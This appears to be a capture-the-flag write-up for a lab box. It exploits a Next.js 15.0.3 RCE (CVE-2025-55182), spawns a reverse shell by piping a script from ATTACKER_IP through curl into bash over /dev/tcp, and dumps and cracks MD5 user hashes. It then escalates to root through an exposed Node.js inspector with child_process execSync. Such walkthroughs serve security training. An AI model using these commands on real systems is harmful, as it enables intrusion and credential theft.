Nmap reveals two open ports: 22 (SSH) and 3000 (HTTP).
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
3000/tcp open ppp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| X-Powered-By: Next.jsThe response headers confirm a Next.js application with SSG prerendering — X-Powered-By: Next.js and x-nextjs-prerender: 1.
Running nuclei with headless mode identifies the Next.js version and two critical vulnerabilities:
nuclei -target http://TARGET_IP:3000/ -fr -headless -sc[CVE-2025-29927-HEADLESS] [headless] [critical] ["Vulnerable Next.js => 15.0.3"]
[js-libraries-detect:nextjs] [headless] [info] ["15.0.3"]
sequenceDiagram
participant A as Attacker
participant N as Next.js (Port 3000)
participant OS as Host OS
A->>N: HTTP request with malicious payload<br/>(CVE-2025-55182)
N->>N: Debug/console eval executes payload
N->>OS: Arbitrary command execution
OS-->>A: Command output returnednodeUsing the public PoC for CVE-2025-55182 (Chocapikk/CVE-2025-55182), verify code execution works:
uv run exploit.py -u http://TARGET_IP:3000 -c 'id'Success
uid=999(node) gid=988(node) groups=988(node)
Direct reverse shell payloads fail due to special characters breaking the injection. Bypass this by hosting the payload on your attacker machine and curling it:
# shell.sh — hosted on attacker machine
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/6000 0>&1"# Start listener
nc -lvnp 6000
# Trigger remote download + execution
uv run exploit.py -u http://TARGET_IP:3000 -c 'curl http://ATTACKER_IP/shell.sh | bash'Shell received as node.
The application directory contains a SQLite database with user credentials:
node@reactor:/opt/reactor-app$ ls
app next.config.js node_modules package.json package-lock.json reactor.db
node@reactor:/opt/reactor-app$ sqlite3 reactor.db .dumpINSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
The hashes are MD5 — trivially reversible via CrackStation:
| User | MD5 Hash | Plaintext |
|---|---|---|
| admin | a203b22191d744a4e70ada5c101b17b8 | - |
| engineer | 39d97110eafe2a9a68639812cd271e8e | reactor1 |
engineerUsing the cracked credentials, SSH into the box for a stable shell:
ssh engineer@TARGET_IPListing running processes reveals a root-owned Node.js process with the inspector enabled:
ps -auxUSER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
node 1417 1.8 3.7 11843160 147340 ? Ssl 04:34 16:29 next-server (v15.0.3)
root 1419 0.0 1.3 1067700 51852 ? Ssl 04:34 0:05 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
Key finding: Node.js inspector is bound to 127.0.0.1:9229 and running as root. The inspector debugger provides full code execution in the context of the running process.
rootThe simplest way to interact with the Node.js debugger is through Node's built-in REPL client:
engineer@reactor:~$ node inspect 127.0.0.1:9229Once connected, use exec() to evaluate arbitrary JavaScript in the root process:
debug> exec("process.mainModule.require('child_process').execSync('whoami').toString()")
'root\n'
debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'<ROOT_FLAG>\n'Note
process.mainModule.require('child_process')reaches Node'schild_processmodule from any running script, bypassing module scope.execSync()executes a shell command synchronously and returns its output — perfect for one-shot commands in a debug session.
Root shell obtained. 🎉
flowchart TD
subgraph Phase1["Foothold"]
A[Port Scan: 22 + 3000] --> B[Next.js 15.0.3 Identified]
B --> C[CVE-2025-55182<br/>React2Shell RCE]
C --> D[Shell as node]
end
subgraph Phase2["Lateral Movement"]
E[reactor.db<br/>SQLite Dump] --> F[MD5 Hashes<br/>admin + engineer]
F --> G[CrackStation → Cracking]
G --> H[SSH as engineer]
end
subgraph Phase3["Privilege Escalation"]
I["ps aux → Node Inspector<br/>on 127.0.0.1:9229"] --> J["node inspect remote<br/>debugger attach"]
J --> K["exec() →<br/>Arbitrary Commands as root"]
end
Phase1 --> Phase2
Phase2 --> Phase3
Phase3 --> L["💀 Root Flag"]curl | bash is a reliable bypass when direct payloads fail.--inspect) is an extremely dangerous feature in production. It provides full code execution via exec() in the context of the target process. When bound to localhost only and the attacker already has a foothold, it creates a direct privilege escalation path.process.mainModule.require is a useful Node.js trick to bypass module scoping and access child_process from any running script in a debug session.